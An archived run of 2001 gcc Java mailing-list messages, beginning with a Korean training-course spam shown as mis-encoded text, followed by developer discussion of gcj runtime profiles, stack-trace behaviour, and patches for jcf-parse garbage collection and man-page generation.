From java-return-6343-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 02 04:01:54 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 18609 invoked by alias); 2 Jul 2001 04:01:52 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 18555 invoked from network); 2 Jul 2001 04:01:45 -0000 Received: from unknown (HELO relay1.kornet.net) (211.48.62.161) by sourceware.cygnus.com with SMTP; 2 Jul 2001 04:01:45 -0000 Received: from spider (211.192.43.180) by relay1.kornet.net; 2 Jul 2001 13:01:43 +0900 Message-ID: <3b3ff2283b40ed84@relay1.kornet.net> (added by relay1.kornet.net) Reply-To: webmaster@best-job.co.kr From: KITC To: java@gcc.gnu.org Subject: Á¤º¸Åë½ÅºÎÁö¿ø(300¸¸¿ø) IT ±³À°»ý ¸ðÁý¾È³» Mime-Version: 1.0 Content-Type: text/html; charset="ks_c_5601-1987" Date: Tue, 3 Jul 2001 13:02:42 +0900 X-Mailer: redspider [www.emsoft.co.kr] :::::Korea Information Technical College ÇöÀç ¸ðÁý °úÁ¤ ¾È³»:::::

 
 

           

Korea Information Technical College

21¼¼±â Áö½ÄÁ¤º¸È­ »çȸÀÇ ´º¸®´õ ¾ç¼º
º¸´Ù ¿ì¼öÇÑ IT Àη ¹× Á¤º¸Åë½Å ÀηÂÀÇ ¾ç¼ºÀ» À§ÇÏ¿© Korea Information Technical College¿¡¼­ ÃÖ°íÀÇ °­»çÁø°ú ±³À°³»¿ëÀ¸·Î Á¤ºÎÁö¿ø°úÁ¤ÀÌ ½ÃÀ۵˴ϴÙ. ¹Ì·¡ÀÇ ÁÖ¿ªÀÌ µÉ ²ÞÀ» °¡Áø ¿©·¯ºÐ°ú KITC°¡ ÇÔ²² °¡°Ú½À´Ï´Ù. ¾Õ¼­°¡´Â »ç¶÷¿¡°Õ ¹Ì·¡°¡ º¸ÀÔ´Ï´Ù.

±¸ ºÐ
°úÁ¤¸í
±³À°±â°£
±Ý¾×

 

Á¤ÅëºÎ
Áö¿ø°úÁ¤

 

SCJP¾ç¼º°úÁ¤

2001.7.9-2001.12.14

(ÃÑ 770½Ã°£)

Á¤ºÎÁö¿ø±Ý
(300¸¸¿ø)
°³Àκδã±Ý
(103¸¸7õ¿ø)

 ¿ù¿äÀÏ~±Ý¿äÀÏ 09:00-17:00 ( ÀÏÀÏ 7½Ã°£ ±³À°,½Ç½À½Ã°£ Æ÷ÇÔ)

Á¤ÅëºÎÁö¿ø°úÁ¤ : ´ëÁ¹ ¹ÌÃë¾÷ÀÚ ¶Ç´Â ½ÇÁ÷ÀÚ·Î ÀçÇлý Áß Á¹¾÷¿¹Á¤Áõ¸í¼­ ¸¦ Á¦ÃâÇÒ ¼ö ÀÖ´Â Á¹¾÷¿¹Á¤ÀÚ.

ÀüÇüÀýÂ÷

  • ÀÔÇÐÁö¿ø¼­ Á¢¼ö(Á¢¼ö±â°£ : 2001³â 7¿ù 1ÀÏ~ 2001³â 7¿ù 5ÀÏ ¿ÀÈÄ 10½Ã)
  • ¸éÁ¢ÀϽà : 1Â÷ ¸éÁ¢ - 2001³â 7¿ù 6ÀÏ ¿ÀÀü 10½Ã
  • ¸éÁ¢Àå¼Ò : º»±³ ¸éÁ¢½Ç -Áغñ¼­·ù : ÃÖÁ¾Çб³Á¹¾÷/Á¹¾÷¿¹Á¤Áõ¸í¼­, Áֹεî·Ïµîº» 1Åë, ¹Ý¸íÇÔÆÇ»çÁø 2¸Å
  • ÇÕ°ÝÀÚ ¹ßÇ¥ : 2001³â 7¿ù 6ÀÏ ¿ÀÈÄ5½Ã
  • µî·Ï±Ý ³³ºÎ : µî·Ï±Ý 1,037,000¿ø(Çö±Ý / ½Å¿ëÄ«µå) / 2ȸ ºÐ³³°¡´É
  • °³ °­ ÀÏ : 2001³â 7¿ù 9ÀÏ

ÀÔÇй®ÀÇó

  • ±³À°»ó´ã½Ç : 02) 3675 - 7202

    

 

 

From java-return-6344-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 02 05:05:32 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 29852 invoked by alias); 2 Jul 2001 05:05:27 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 29792 invoked from network); 2 Jul 2001 05:05:19 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 2 Jul 2001 05:05:19 -0000 Received: from locutus (locutus.cygnus.com [205.180.230.91]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with SMTP id WAA10975 for ; Sun, 1 Jul 2001 22:05:18 -0700 (PDT) Message-ID: <01b301c102b4$cbcc0980$5be6b4cd@cygnus.com> From: "Anthony Green" To: References: <200107010437.VAA30963@fencer.cygnus.com> Subject: Re: Supporting different runtime profiles Date: Sun, 1 Jul 2001 22:06:46 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 I wrote: > I think our profiles will be something of a mix of Sun's J2ME > `profiles' and `configurations'. I'm curious if anyone else has > thought about this in the context of gcj. I spent a bit more time experimenting today and I thought I'd run this by people before doing anything else... I'd like to introduce the notion of "profiles" to gcj. This is what Sun calls different Java dialects and runtime configurations. They've finalized some profile definitions and are still working on others (through their "community process"). Some example profiles are `foundation', `midp', `personal', and `game'. Not only do the class libraries change between these different profiles, but the language can vary as well (no floating point support, for instance). For gcj, different profiles may have different meta-data and object representations in addition to simple class library changes. Here are some of my thoughts: * the `default' libgcj is our equivalent to Sun's "Standard Edition" (SE) * we'll always build and install the `default' libgcj, which attempts to look as much like SE as possible... even in the absense of target facilities, like networking support. * it should be possible to easily build and install support for multiple profiles. * it should be possible to define and add profiles to gcc/libjava without hacking the libjava configury and Makefile -- everything will be local to a profile specific directory under gcc/libjava/profiles. * a profile, FOO, is built by reconfiguring gcc/libjava in the build directory gcc/$target/libjava/profiles/FOO. * the profile configury will have an opportunity to rewrite the configure options before configuration (to select an alternate GC or to disable threads, for instance). * the profile configury also specifies a number of #defines which are used when compiling C/C++ code, and for preprocessing Java source. * the profile configury includes a list of packages and classes to exclude from the build, and new packages/classes to include. * each profile has its own spec file (or equivalent) for passing new options to the compiler and selecting alternate libraries. * the specs file is installed as libgcj-FOO.spec. Other installed files are libgcj-FOO.jar and libgcj-FOO.{a,so}. * the headers are common accross all profiles. Users will have to remember to use -Dgcj_profile_FOO when compiling C++ code (hmm.. dunno how this works without touching files outside of libgcj/profiles/FOO) * gcj will need an option like --profile=FOO for it to pick up libgcj-FOO.spec, read libgcj-FOO.jar, etc. . Comments welcome.... AG From java-return-6345-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 02 19:08:33 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 13779 invoked by alias); 2 Jul 2001 19:08:32 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 13754 invoked from network); 2 Jul 2001 19:08:32 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 2 Jul 2001 19:08:32 -0000 Received: from fencer.cygnus.com (fencer.cygnus.com [205.180.230.60]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id MAA10855; Mon, 2 Jul 2001 12:08:29 -0700 (PDT) Received: (apbianco@localhost) by fencer.cygnus.com (8.9.3/8.6.4) id MAA16156; Mon, 2 Jul 2001 12:08:29 -0700 From: Alexandre Petit-Bianco MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15168.50861.344324.254578@fencer.cygnus.com> Date: Mon, 2 Jul 2001 12:08:29 -0700 (PDT) To: minyard@acm.org, java-discuss@sources.redhat.com Subject: Re: A SEGV when compiling OpenOrb In-Reply-To: References: <15154.58728.758907.348212@fencer.cygnus.com> X-Mailer: VM 6.62 under Emacs 19.34.1 Reply-To: apbianco@cygnus.com X-Organization: Red Hat, Sunnyvale CA, USA. X-URL: http://gcc.gnu.org/java/ X-Zippy: I want a VEGETARIAN BURRITO to go.. with EXTRA MSG!! minyard@acm.org writes: > Here's the GDB session: Can you please try the patch I posted for java/2633? I included it below. ./A Index: jcf-parse.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/jcf-parse.c,v retrieving revision 1.86 diff -u -p -r1.86 jcf-parse.c --- jcf-parse.c 2001/06/27 20:38:20 1.86 +++ jcf-parse.c 2001/07/02 19:04:52 @@ -101,14 +101,15 @@ static void jcf_parse PARAMS ((struct JC static void load_inner_classes PARAMS ((tree)); /* Mark (for garbage collection) all the tree nodes that are - referenced from JCF's constant pool table. */ + referenced from JCF's constant pool table. Do that only if the JCF + hasn't been marked finished. */ static void ggc_mark_jcf (elt) void **elt; { JCF *jcf = *(JCF**) elt; - if (jcf != NULL) + if (jcf != NULL && !jcf->finished) { CPool *cpool = &jcf->cpool; int size = CPOOL_COUNT(cpool); Index: jcf.h =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/jcf.h,v retrieving revision 1.23 diff -u -p -r1.23 jcf.h --- jcf.h 2001/05/26 01:31:47 1.23 +++ jcf.h 2001/07/02 19:04:53 @@ -90,6 +90,7 @@ typedef struct JCF { unsigned char *read_end; int java_source : 1; int right_zip : 1; + int finished : 1; jcf_filbuf_t filbuf; void *read_state; const char *filename; @@ -144,7 +145,8 @@ typedef struct JCF { CPOOL_FINISH(&(JCF)->cpool); \ if ((JCF)->buffer) FREE ((JCF)->buffer); \ if ((JCF)->filename) FREE ((char *) (JCF)->filename); \ - if ((JCF)->classname) FREE ((char *) (JCF)->classname); } + if ((JCF)->classname) FREE ((char *) (JCF)->classname); \ + (JCF)->finished = 1; } #define CPOOL_INIT(CPOOL) \ ((CPOOL)->capacity = 0, (CPOOL)->count = 0, (CPOOL)->tags = 0, (CPOOL)->data = 0) @@ -154,7 +156,8 @@ typedef struct JCF { #define JCF_ZERO(JCF) \ ((JCF)->buffer = (JCF)->buffer_end = (JCF)->read_ptr = (JCF)->read_end = 0,\ (JCF)->read_state = 0, (JCF)->filename = (JCF)->classname = 0, \ - CPOOL_INIT(&(JCF)->cpool), (JCF)->java_source = 0, (JCF)->zipd = 0) + CPOOL_INIT(&(JCF)->cpool), (JCF)->java_source = 0, (JCF)->zipd = 0, \ + (JCF)->finished = 0) /* Given that PTR points to a 2-byte unsigned integer in network (big-endian) byte-order, return that integer. */ From java-return-6346-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 02 19:47:41 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 3922 invoked by alias); 2 Jul 2001 19:47:40 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 3890 invoked from network); 2 Jul 2001 19:47:40 -0000 Received: from unknown (HELO owls-house.tapsellferrier.co.uk) (195.7.242.237) by sourceware.cygnus.com with SMTP; 2 Jul 2001 19:47:40 -0000 Received: from muddy-patch.tapsellferrier.co.uk ([195.7.242.227] helo=tapsellferrier.co.uk) by owls-house.tapsellferrier.co.uk with smtp (Exim 3.12 #1 (Debian)) id 15H9fW-000375-00 for ; Mon, 02 Jul 2001 20:47:38 +0100 Received: from tf-Message_Server by tapsellferrier.co.uk with Novell_GroupWise; Mon, 02 Jul 2001 20:49:19 +0100 Message-Id: X-Mailer: Novell GroupWise 5.2 Date: Mon, 02 Jul 2001 20:48:16 +0100 From: "Nic Ferrier" To: java@gcc.gnu.org Subject: Stack traces Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline I've noticed a small but annoying problem with Throwable. The fillinStackTrace gets the whole stack trace, not the stack trace from where the error occurred. That means that Throwable is always in the stack trace. That's not right is it? It's certainly annoying when you're trying to debug stuff. Nic From java-return-6347-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 02 20:08:36 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 18994 invoked by alias); 2 Jul 2001 20:08:35 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 18958 invoked from network); 2 Jul 2001 20:08:34 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 2 Jul 2001 20:08:34 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id OAA08035; Mon, 2 Jul 2001 14:08:31 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id OAA09932; Mon, 2 Jul 2001 14:29:02 -0600 To: "Anthony Green" Cc: Subject: Re: Supporting different runtime profiles References: <200107010437.VAA30963@fencer.cygnus.com> <01b301c102b4$cbcc0980$5be6b4cd@cygnus.com> X-Zippy: Did you move a lot of KOREAN STEAK KNIVES this trip, Dingy? X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 02 Jul 2001 14:29:01 -0600 In-Reply-To: "Anthony Green"'s message of "Sun, 1 Jul 2001 22:06:46 -0700" Message-ID: <87g0cfhy7m.fsf@creche.redhat.com> Lines: 38 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Anthony" == Anthony Green writes: Anthony> I'd like to introduce the notion of "profiles" to gcj. Cool. It looks like you've given this a lot of thought. Anthony> * a profile, FOO, is built by reconfiguring gcc/libjava in Anthony> the build directory gcc/$target/libjava/profiles/FOO. I don't follow. Is this something you do by hand? Or is it something you do once when you configure all of gcc? E.g., with --enable-libgcj-profiles=x,y,z? How will mutlilibbing be handled? Anthony> * the profile configury will have an opportunity to rewrite Anthony> the configure options before configuration (to select an Anthony> alternate GC or to disable threads, for instance). I guess one thing that will be important is for us to identify the necessary configuration points, and also to document how they interrelate. E.g., if you don't want reflection data, then you might as well disable the interpreter and JNI. Another thought that occurs to me is that we would want to test all the configurations regularly, at least ot make sure that they build, to ensure that we haven't let something slip past. Anthony> * the headers are common accross all profiles. Users will Anthony> have to remember to use -Dgcj_profile_FOO when compiling C++ Anthony> code (hmm.. dunno how this works without touching files Anthony> outside of libgcj/profiles/FOO) This is the one piece that might not be implementable. Maybe we could do it by putting a lot of work into gcjh. It could read every variant of a class and then output the appropriate header. Given the current state of gcjh I'd guess that this would be a lot of work. Tom From java-return-6348-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 02 20:50:03 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 4533 invoked by alias); 2 Jul 2001 20:50:03 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 4494 invoked from network); 2 Jul 2001 20:50:01 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 2 Jul 2001 20:50:01 -0000 Received: from locutus (locutus.cygnus.com [205.180.230.91]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with SMTP id NAA22327; Mon, 2 Jul 2001 13:49:52 -0700 (PDT) Message-ID: <033301c10338$c36f7cc0$5be6b4cd@cygnus.com> From: "Anthony Green" To: Cc: References: <200107010437.VAA30963@fencer.cygnus.com> <01b301c102b4$cbcc0980$5be6b4cd@cygnus.com> <87g0cfhy7m.fsf@creche.redhat.com> Subject: Re: Supporting different runtime profiles Date: Mon, 2 Jul 2001 13:51:25 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Tom wrote: > Anthony> * a profile, FOO, is built by reconfiguring gcc/libjava in > Anthony> the build directory gcc/$target/libjava/profiles/FOO. > > I don't follow. Is this something you do by hand? Or is it something > you do once when you configure all of gcc? E.g., with > --enable-libgcj-profiles=x,y,z? How will mutlilibbing be handled? Right, you use --enable-java-profiles=x,y,z. These profile directories are automatically configured at configure time. Multilibbing should work as usual, that is, you'll get multilibbed versions of all of these libraries. > I guess one thing that will be important is for us to identify the > necessary configuration points, and also to document how they > interrelate. E.g., if you don't want reflection data, then you might > as well disable the interpreter and JNI. Some of Sun's profiles assume no reflection but imply interpreter support. > This is the one piece that might not be implementable. > Maybe we could do it by putting a lot of work into gcjh. It could > read every variant of a class and then output the appropriate header. > Given the current state of gcjh I'd guess that this would be a lot of > work. Hmm --- you're right. I didn't even think of the gcjh headers... :-( AG From java-return-6349-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 02 21:17:00 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 22167 invoked by alias); 2 Jul 2001 21:16:55 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 22044 invoked from network); 2 Jul 2001 21:16:50 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (195.224.55.237) by sourceware.cygnus.com with SMTP; 2 Jul 2001 21:16:50 -0000 Received: from cuddles.cambridge.redhat.com (cuddles.cambridge.redhat.com [172.16.18.86]) by executor.cambridge.redhat.com (Postfix) with ESMTP id C3BECABAF8; Mon, 2 Jul 2001 22:16:48 +0100 (BST) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.0/8.11.0) id f62LGmu15793; Mon, 2 Jul 2001 22:16:48 +0100 X-Authentication-Warning: cuddles.cambridge.redhat.com: aph set sender to aph@cambridge.redhat.com using -f From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15168.58560.724059.713984@cuddles.cambridge.redhat.com> Date: Mon, 2 Jul 2001 22:16:48 +0100 (BST) To: "Nic Ferrier" Cc: java@gcc.gnu.org Subject: Stack traces In-Reply-To: References: X-Mailer: VM 6.75 under Emacs 20.7.1 Nic Ferrier writes: > I've noticed a small but annoying problem with Throwable. > > The fillinStackTrace gets the whole stack trace, not the stack trace > from where the error occurred. > > That means that Throwable is always in the stack trace. > > That's not right is it? It's certainly annoying when you're trying to > debug stuff. fillinStackTrace() doesn't know where it's been called from, so it starts with the frame above itself. Generally, that's Throwable(). However, if you call fillinStackTrace() directly from a method foo.bar(), you _do_ want foo.bar() to appear in the stack trace. We could get around this by having a privateFillinStackTrace() that Throwable() calls. Is it worth it? According to the ABI doc, Throwable() calls fillInStackTrace(), so I don't even know if this would be legal. Andrew. From java-return-6350-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 02 21:18:18 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 23541 invoked by alias); 2 Jul 2001 21:18:18 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 23396 invoked from network); 2 Jul 2001 21:18:13 -0000 Received: from unknown (HELO mail.cs.tu-berlin.de) (130.149.17.13) by sourceware.cygnus.com with SMTP; 2 Jul 2001 21:18:13 -0000 Received: from bolero.cs.tu-berlin.de (doko@bolero.cs.tu-berlin.de [130.149.19.1]) by mail.cs.tu-berlin.de (8.9.3/8.9.3) with ESMTP id XAA14817; Mon, 2 Jul 2001 23:13:09 +0200 (MET DST) Received: (from doko@localhost) by bolero.cs.tu-berlin.de (8.10.2+Sun/8.9.3) id f62LD8110212; Mon, 2 Jul 2001 23:13:08 +0200 (MEST) From: Matthias Klose MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15168.58340.525902.202263@gargle.gargle.HOWL> Date: Mon, 2 Jul 2001 23:13:08 +0200 To: gcc-patches@gcc.gnu.org, java@gcc.gnu.org CC: "Joseph S. Myers" , Stephane Carrez Subject: [3.0] RFC: generate java man pages from texi sources X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid This patch adds support for generation and installation of man pages for the java tools (gcj, gcjh, jv-scan, jcf-convert, gij). - texi2pod.pl is merged from binutils and extended to support the '-' in program names. - unsure about how to handle the installation of gij.1. It's documented in gcc/java/gcj.1, but built in libjava. Unfortunately not for all targets that gcj is built for. - gcc/configure and generated man pages are not included. - gcj.texi: Added command options, that are output with --help. bootstrap currently running. verified that the generated gcc man pages are the same as with the old texi2pod.pl. 2001-07-02 Matthias Klose * texi2pod.pl: Merge changes from binutil's texi2pod.pl. allows generation of more than one man page from one source. Add '-' to set of valid chars for an identifier. diff -b -r -u --exclude=Makefile --exclude=configure gcc-3.0/contrib/texi2pod.pl gcc-3.0.x/contrib/texi2pod.pl --- gcc-3.0/contrib/texi2pod.pl Fri May 4 00:01:39 2001 +++ gcc-3.0.x/contrib/texi2pod.pl Mon Jul 2 21:50:03 2001 @@ -41,11 +41,20 @@ } else { $flag = shift; } + $value=$flag; + $value =~ s,^[a-zA-Z0-9_-]+,,; + $value =~ s,.*=,,; + $flag =~ s,=.*$,,; die "no flag specified for -D\n" unless $flag ne ""; + # gcc's die "flags may only contain letters, digits, hyphens, and underscores\n" unless $flag =~ /^[a-zA-Z0-9_-]+$/; - $defs{$flag} = ""; + + #print STDERR "FL = $flag, V = $value\n"; + #$defs{$flag} = ""; + $defs{$flag} = $value; + } elsif (/^-/) { usage(); } else { @@ -77,11 +86,25 @@ # Look for filename and title markers. /^\@setfilename\s+([^.]+)/ and $fn = $1, next; - /^\@settitle\s+([^.]+)/ and $tl = $1, next; + /^\@settitle\s+([^.]+)/ and $tl = postprocess($1), next; + + # Identify a man title but keep only the one we are interested in. + /^\@c man title ([A-Za-z0-9-]+) (.+)/ and do { + if (exists $defs{$1}) { + $fn = $1; + $tl = postprocess($2); + } + next; + }; # Look for blocks surrounded by @c man begin SECTION ... @c man end. # This really oughta be @ifman ... @end ifman and the like, but such # would require rev'ing all other Texinfo translators. + /^\@c man begin ([A-Z]+) ([A-Za-z0-9-]+)/ and do { + $output = 1 if exists $defs{$2}; + $sect = $1; + next; + }; /^\@c man begin ([A-Z]+)/ and $sect = $1, $output = 1, next; /^\@c man end/ and do { $sects{$sect} = "" unless exists $sects{$sect}; @@ -266,6 +289,12 @@ local $_ = $_[0]; # @value{foo} is replaced by whatever 'foo' is defined as. + if (/\@value\{([a-zA-Z0-9_-]+)\}/) { + if (! exists $defs{$1}) { + print STDERR "Option $1 not define\n"; + } + + } s/\@value\{([a-zA-Z0-9_-]+)\}/$defs{$1}/g; # Formatting commands. @@ -348,4 +377,3 @@ $sects{FOOTNOTES} .= $_[0]; $sects{FOOTNOTES} .= "\n\n"; } - 2001-07-02 Matthias Klose * configure.in: Add $(GENERATED_JAVA_MANPAGES) to GENERATED_MANPAGES. diff -b -r -u --exclude=Makefile --exclude=configure gcc-3.0/gcc/configure.in gcc-3.0.x/gcc/configure.in --- gcc-3.0/gcc/configure.in Wed Jun 13 23:36:35 2001 +++ gcc-3.0.x/gcc/configure.in Mon Jul 2 21:14:38 2001 @@ -479,7 +479,7 @@ AC_MSG_CHECKING([for recent Pod::Man]) if perl -e 'use 1.10 Pod::Man' >/dev/null 2>&1; then AC_MSG_RESULT(yes) - GENERATED_MANPAGES=generated-manpages AC_SUBST(GENERATED_MANPAGES) + GENERATED_MANPAGES='generated-manpages $(GENERATED_JAVA_MANPAGES)' AC_SUBST(GENERATED_MANPAGES) else AC_MSG_RESULT(no) GENERATED_MANPAGES= 2001-07-02 Matthias Klose * gcj.texi: Markup for man page generation. Document missing options printed by --help. * Make-lang.in (generated-java-manpages, $(srcdir)/java/*.1): New targets. (java.install-man, java.uninstall, java-maintainer-clean) Updated. diff -b -r -u --exclude=Makefile --exclude=configure gcc-3.0/gcc/java/Make-lang.in gcc-3.0.x/gcc/java/Make-lang.in --- gcc-3.0/gcc/java/Make-lang.in Fri Jun 8 23:43:45 2001 +++ gcc-3.0.x/gcc/java/Make-lang.in Mon Jul 2 22:40:55 2001 @@ -177,11 +177,15 @@ fi ; \ done -java.install-man: - java.uninstall: -rm -rf $(bindir)/$(JAVA_INSTALL_NAME)$(exeext) -rm -rf $(bindir)/$(JAVA_CROSS_NAME)$(exeext) + -rm -rf $(man1dir)/$(JAVA_INSTALL_NAME)$(manext) + -rm -rf $(man1dir)/$(JAVA_CROSS_NAME)$(manext) + -rm -rf $(man1dir)/gcjh$(manext) + -rm -rf $(man1dir)/jv-scan$(manext) + -rm -rf $(man1dir)/jcf-dump$(manext) + -rm -rf $(man1dir)/gij$(manext) java.install-info: if [ -f jc1$(exeext) ] ; then \ @@ -215,6 +219,7 @@ java.extraclean: java.maintainer-clean: -rm -f java/parse.c java/parse-scan.c java/parse.output java/y.tab.c + -rm -f $(srcdir)/java/gcj.1 $(srcdir)/java/gcjh.1 $(srcdir)/java/jv-scan.1 $(srcdir)/java/jcf-dump.1 $(srcdir)/java/gij.1 # # Stage hooks: # The main makefile has already created stage?/java. @@ -303,3 +308,75 @@ java/gcj.dvi: $(srcdir)/java/gcj.texi $(srcdir)/doc/fdl.texi s=`cd $(srcdir); pwd`; export s; \ cd java && $(TEXI2DVI) -I $$s/doc $$s/java/gcj.texi + +GENERATED_JAVA_MANPAGES = generated-java-manpages + +generated-java-manpages: $(srcdir)/java/gcj.1 $(srcdir)/java/gcjh.1 \ + $(srcdir)/java/jv-scan.1 $(srcdir)/java/jcf-dump.1 \ + $(srcdir)/java/gij.1 + +$(srcdir)/java/gcj.1: $(srcdir)/java/gcj.texi + $(STAMP) $(srcdir)/java/gcj.1 + -$(TEXI2POD) -D gcj < $(srcdir)/java/gcj.texi > gcj.pod + -($(POD2MAN) gcj.pod > $(srcdir)/java/gcj.1.T$$$$ && \ + mv -f $(srcdir)/java/gcj.1.T$$$$ $(srcdir)/java/gcj.1) || \ + (rm -f $(srcdir)/java/gcj.1.T$$$$ && exit 1) + -rm -f gcj.pod + +$(srcdir)/java/gcjh.1: $(srcdir)/java/gcj.texi + $(STAMP) $(srcdir)/java/gcjh.1 + -$(TEXI2POD) -D gcjh < $(srcdir)/java/gcj.texi > gcjh.pod + -($(POD2MAN) gcjh.pod > $(srcdir)/java/gcjh.1.T$$$$ && \ + mv -f $(srcdir)/java/gcjh.1.T$$$$ $(srcdir)/java/gcjh.1) || \ + (rm -f $(srcdir)/java/gcjh.1.T$$$$ && exit 1) + -rm -f gcjh.pod + +$(srcdir)/java/jv-scan.1: $(srcdir)/java/gcj.texi + $(STAMP) $(srcdir)/java/jv-scan.1 + -$(TEXI2POD) -D jv-scan < $(srcdir)/java/gcj.texi > jv-scan.pod + -($(POD2MAN) jv-scan.pod > $(srcdir)/java/jv-scan.1.T$$$$ && \ + mv -f $(srcdir)/java/jv-scan.1.T$$$$ $(srcdir)/java/jv-scan.1) || \ + (rm -f $(srcdir)/java/jv-scan.1.T$$$$ && exit 1) + -rm -f jv-scan.pod + +$(srcdir)/java/jcf-dump.1: $(srcdir)/java/gcj.texi + $(STAMP) $(srcdir)/java/jcf-dump.1 + -$(TEXI2POD) -D jcf-dump < $(srcdir)/java/gcj.texi > jcf-dump.pod + -($(POD2MAN) jcf-dump.pod > $(srcdir)/java/jcf-dump.1.T$$$$ && \ + mv -f $(srcdir)/java/jcf-dump.1.T$$$$ $(srcdir)/java/jcf-dump.1) || \ + (rm -f $(srcdir)/java/jcf-dump.1.T$$$$ && exit 1) + -rm -f jcf-dump.pod + +$(srcdir)/java/gij.1: $(srcdir)/java/gcj.texi + $(STAMP) $(srcdir)/java/gij.1 + -$(TEXI2POD) -D gij < $(srcdir)/java/gcj.texi > gij.pod + -($(POD2MAN) gij.pod > $(srcdir)/java/gij.1.T$$$$ && \ + mv -f $(srcdir)/java/gij.1.T$$$$ $(srcdir)/java/gij.1) || \ + (rm -f $(srcdir)/java/gij.1.T$$$$ && exit 1) + -rm -f gij.pod + +# Install the man pages. +java.install-man: installdirs $(GENERATED_JAVA_MANPAGES) + -if [ -f $(GCJ)$(exeext) ]; then \ + if [ -f $(GCJ)-cross$(exeext) ]; then \ + rm -f $(man1dir)/$(JAVA_CROSS_NAME)$(manext); \ + $(INSTALL_DATA) $(srcdir)/java/gcj.1 $(man1dir)/$(JAVA_CROSS_NAME)$(manext); \ + chmod a-x $(man1dir)/$(JAVA_CROSS_NAME)$(manext); \ + else \ + rm -f $(man1dir)/$(JAVA_INSTALL_NAME)$(manext); \ + $(INSTALL_DATA) $(srcdir)/java/gcj.1 $(man1dir)/$(JAVA_INSTALL_NAME)$(manext); \ + chmod a-x $(man1dir)/$(JAVA_INSTALL_NAME)$(manext); \ + fi ; \ + fi + -rm -f 